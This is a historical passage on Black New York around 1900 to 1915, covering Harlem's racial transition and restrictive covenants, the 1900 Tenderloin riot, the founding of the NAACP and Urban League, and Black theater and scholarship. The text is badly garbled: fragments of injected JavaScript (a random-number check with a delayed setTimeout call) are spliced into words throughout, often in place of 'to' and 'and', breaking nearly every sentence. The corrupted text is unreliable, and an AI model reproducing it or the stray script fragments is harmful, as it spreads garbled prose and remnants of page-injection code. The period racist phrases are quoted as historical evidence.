          The neighborhood was in transition, as Battle, who lived on 136th Street, recalled. “During those early years, it was a transition period, whites dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Negroes. There were houses where Italian, Jewish, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Irish lived, but they’d let colored people in if they paid more money. Still the places were deteriorating because they didn’t make the money that they had been making. A lot of people got wealthy as a result.” “The Reminiscences of Samuel J. Battle,” The Oral Hisdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory Collection of Columbia University.

          A map drawn by George E. Haynes, Columbia University graduate dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Professor of Social Science at Fisk University, shows that by 1911, blacks in Harlem were mostly concentrated in six blocks on both sides of Lenox Avenue between 135th dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and 132nd streets.

          In February 1911, arguing that the black presence devaluated properties from 10 dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 20 percent, ninety-one owners (85 percent of the dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}total) on 136th Street filed a covenant in the Hall of Records dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to put a sdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to what they called the “One Hundred dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Thirty-fourth Street Black Belt.” They agreed not dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to sell or rent their properties dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to any “negro, mulatdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to, quadroon, or ocdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toroon” or even have them as guests for the next fifteen years. They also agreed not dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to have more than one male dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and one female or two females as domestics.

          Nevertheless, black institutions moved in or were soon established in the area. In 1911 Saint Philip’s Episcopal Church, which had migrated in 1886 from Center Street dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 25th Street, moved once again, this time dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a new building at 214 West 134th Street, designed by the black New York architects, Vertner Tdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andy dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and George Foster, Jr. Active supporters of the migration dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Harlem, St. Philip’s pasdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor Rev. Hutchens C. Bishop dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and parishioner John Nail engineered a deal worth over a million dollars, including ldom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and for the new church dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and for apartment buildings dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be rented dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to black households. In 1914 St. James Presbyterian Church relocated from West 55th Street dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to West 137th Street; dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the Libya Hotel opened at 149 West 139th Street.

          White residents fought hard against the changing demographics. They formed several organizations dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to defend their neighborhood against the “black invasion” dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the “black plague.” They offered discounts dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to white renters, refused dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to sell property dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to blacks, or evicted them from rentals. The Harlem Home News warned, “Wake up dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and get busy before it is dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}too late dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to repel the black hordes that stdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and ready dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to destroy business in the very heart of Harlem.”

          Despite these efforts, Harlem was about dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to become the center of black life not only locally but also nationally, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and for a time the cultural capital of the black world.

The 1900 Riot

          On August 13, 1900, at 2:00 a.m., during a heat wave that had tempers flaring, Arthur Harris, a twenty-two-year-old migrant from Virginia, got indom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a fight with Robert Thorpe, a white plainclothes police officer who was trying dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to arrest Harris’s common-law wife, May Enoch, for soliciting (although she was just waiting for Harris) at the corner of 41st Street dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Eighth Avenue in the Tenderloin district. Fearing for his life, Harris stabbed Thorpe dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and then fled dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Washingdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton, D.C. Thorpe died the following day.

          On August 15, rioting erupted in the Tenderloin dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and rapidly spread as black men dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and women were attacked where they worked or were pulled out of streetcars. Scores of white policemen were reported dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to have taken part in the attacks, but a grdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and jury later refused dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to indict any of them. Houses were looted dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and burned. Among the many injured was poet Paul Laurence Dunbar. African Americans still fearing for their lives armed themselves. In the Tenderloin, 145 guns dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and ammunition were sold. The riot lasted until August 16 when a thundersdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torm dispersed the mobs. Scattered clashes continued for over a month.

          On September 12, 3,500 people gathered for a meeting at Carnegie Hall in support of the newly formed Citizens’ Protective League, which claimed five thousdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and members. The league had been organized at St. Mark’s Church on West 53rd Street. It demdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anded the removal of all officers involved in the riot. Seventy-nine people submitted affidavits about the violence they had sustained; the league published them in the booklet Sdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory of the Riot.

          “I was clubbed by three officers. The officers led the crowd, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and did not interfere when others were beating me,” one man testified. “They made no attempt dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to disperse the crowd. I did nothing whatever dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to justify this brutal assault upon me by the police.” One woman stated, “About two o’clock A.M. I heard shooting in the street, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and in a short while after I saw two police officers dragging a colored man from 341 West 36th Street, who had on no clothing except a gauze undershirt. The officers were clubbing the colored man, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the man was begging them not dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to club him, as he had done nothing. The only answer he got was more blows dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and a reply from one of the officers as follows: ‘Shut up, you black son of a b—-, or I’ll kill you.’”

          Arthur Harris was arrested in Ocdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tober in Washingdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton. Condemned dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to hard labor for life, he died in 1908.

          James Weldon Johnson reflected that the riot “was a brutish orgy, which, if it was not incited by the police, was, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to say the least, abetted by them. But this fourth of the great New York riots involving the Negro was really sympdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomatic of a national condition. The status of the Negro as a citizen had been steadily declining for twenty-five years; dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and at the opening of the twentieth century his civil state was, in some respects, worse than at the close of the Civil War.”

          On December 22, a Harper’s Weekly edidom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torial noted the profound hostility that confronted African Americans in the city,

          The Negro is not a newcomer in New York. He has been here for two centuries dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and a half . . . but even during the time of bondage his condition was not much worse than now. . . . The strangest thing about this strange problem is that so many native Americans should feel hostile—not actively hostile, but in sympathy with the lawless Negro-baiters. I heard many native Americans, even New Engldom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anders say after the riot that they would have been glad if many of the Negroes had been killed.

National Organizations

          Responding dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to antiblack violence throughout the country dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and aiming dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to assist migrants as they moved north, two major national organizations dedicated dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the defense of African Americans’ rights dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the promotion of their welfare were born in New York in the first decade of the twentieth century.

          In the wake of the August 1908 race riot of Springfield, Illinois—Abraham Lincoln’s homedom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}town—that left seven blacks dead dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and vast destruction of property, Mary White Ovingdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton organized a small meeting in her San Juan Hill apartment with Socialists William English Walling dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Henry Moskowitz. “It was then,” she wrote, “that the National Association for the Advancement of Colored People was born. It was born in a little room of a New York apartment.”

          Sixty people responded dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Ovingdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton, Walling, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Moskowitz’s call for a meeting dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to discuss racial justice. Seven were African Americans, including W. E. B. Du Bois, cofounder in 1905 of the civil rights organization Niagara Movement; journalist dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and civil rights leader Ida B. Wells-Barnett; dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Mary Church Terrell, active in civil rights dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and women’s suffrage. From its downdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}town office at 20 Vesey Street, the NAACP addressed issues such as lynching dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the destruction of black communities. Du Bois, a member of the board of direcdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors, was the direcdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor of publicity dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and research dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the edidom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor of its monthly journal, The Crisis: A Record of the Darker Races, whose first issue was published in November 1910.

          The interracial National League on Urban Conditions among Negroes (National Urban League) was founded in New York City in September 1910. It consolidated three organizations: the Committee on Urban Conditions among Negroes, the Committee for Improving the Industrial Condition of Negroes in New York, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the National League for the Protection of Colored Women. George Edmund Haynes, a cofounder of the National Urban League, became its first executive direcdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor. In 1912, Haynes was the first African American awarded a PhD by Columbia University. His docdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toral dissertation was, appropriately, “The Negro at Work in New York City.” The League helped Southern migrants in housing, education, employment, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and health dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and opened chapters in the various northern cities where they had settled.

Culture dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Entertainment

          New York was the birthplace, infamously, of the genre called “coon songs” that depicted stereotypically violent, phildom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andering, shiftless, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and impudent urban black men; dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and promiscuous, money-hungry women (as opposed dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the rural blacks of minstrel songs). Black performer Ernest Hogan created the genre with his 1890 hit “All Coons Look Alike dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Me.” These songs enjoyed tremendous success among white New Yorkers dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and informed their disdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torted vision of the black men dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and women in their midst. As scholar Marcy S. Sacks observed in Before Harlem: The Black Experience in New York City before World War I, these songs “legitimized latent (dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and explicit) denunciations of the black urban migration, affecting black New Yorkers’ everyday struggles dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to meet the challenges of city life.”

          A Trip dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Coondom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}town by Bob Cole—the first full-length musical comedy written, produced, directed, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and performed by blacks—opened on April 4, 1898, at the Third Avenue Theater, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and later dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toured the country for three years. According dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to scholar Krystyn R. Moon’s article “Forgotten Manuscripts: A Trip dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Coondom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}town,” Cole “played dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and against stereotypes of African Americans.” For example, the song ‘The Wedding of the Chinee dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the Coon’, “was more than a comedic ditty that perpetuated African American dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Chinese immigrant stereotypes. To address interracial marriage in a period when African American men were lynched for merely looking at European American women, [the song is] a bold political statement that celebrates a future where interracial marriage is commonplace.”

          The most popular black acdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors of the times were Bert Williams, born in Antigua, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and George Walker. This multitalented dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and internationally renowned team, who formed their own company with their wives, had numerous hits, including In Dahomey (1902), dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Bdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andana Ldom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and In Abyssinia (1908). Williams dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Walker are credited with having turned the Cake Walk indom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to an international sensation. Starting in 1910, Williams pursued a solo career with the Ziegfeld Follies. He was at the time the country’s most successful black comedian.

          An important development on the musical scene in 1911 was the organization by James Reese Europe of the Clef Club, which served as a booking office for African-American musicians. Europe, born in Mobile, Alabama, had moved dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to New York in 1903. In 1912 he organized a concert at Carnegie Hall featuring an orchestra of 125 of New York’s distinguished black musicians presenting works by black composers. The following year, on February 12, 1913, a ”Concert of Negro Music“ was held at Carnegie Hall in commemoration of the fiftieth anniversary of the Emancipation Proclamation. It featured the Clef Club Orchestra conducted by Europe.

          In 1909, the Lincoln Theater opened at 56–58 West 135th Street. Owned by the Cuban businesswoman Maria Downs dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and managed by African American Eugene “Frenchy” Elmore, it was the first dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to cater dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a mixed audience. Increasing its capacity dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 850 seats in 1915, the theater offered vaudeville shows, movies, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and plays. The Anita Bush Players opened The Girl at the Fort in November 1915 before moving—as Elmore also did—dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the Lafayette Theater over Bush’s refusal dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to change the name of her company dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the Lincoln Players. Over the years, Mamie Smith, Bessie Smith, Duke Ellingdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton, Florence Mills, Ma Rainey, Fletcher Henderson, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and many other celebrities appeared at the Lincoln—now the Metropolitan AME Church.

          An emerging figure of the times was Arturo Alfonso Schomburg. Born in Puerdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Rico in 1874, he had migrated dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to New York City in 1891 at age seventeen. He was involved in the independence movements of Puerdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Rico dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Cuba before turning his attention dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the African American community. In 1911, he cofounded the Negro Society for Hisdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torical Research, designed dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to collect information dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and conduct research indom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the hisdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and culture of black people worldwide. In 1914, Schomburg was elected dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the American Negro Academy, whose objective was the promotion of education, science, literature, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and art. An avid collecdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor, he amassed a collection of books, pamphlets, manuscripts dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and art dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and became an important player during the Harlem Renaissance.

          In Ocdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tober 1913, the Emancipation Proclamation Commission—entirely made up of black men—of the State of New York presented a ten-day national exhibition at the 12th Regiment Armory in Manhattan. A panorama of black hisdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory from Africa dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to emancipation, it attracted more than thirty thousdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and visidom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors. W. E. B. Du Bois, chairman of the committee on exhibits, asked sculpdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor Meta Warrick Fuller dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to create a statue. Her eight-foot-high Spirit of Emancipation featured the stdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anding figures of determined dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and dignified African Americans.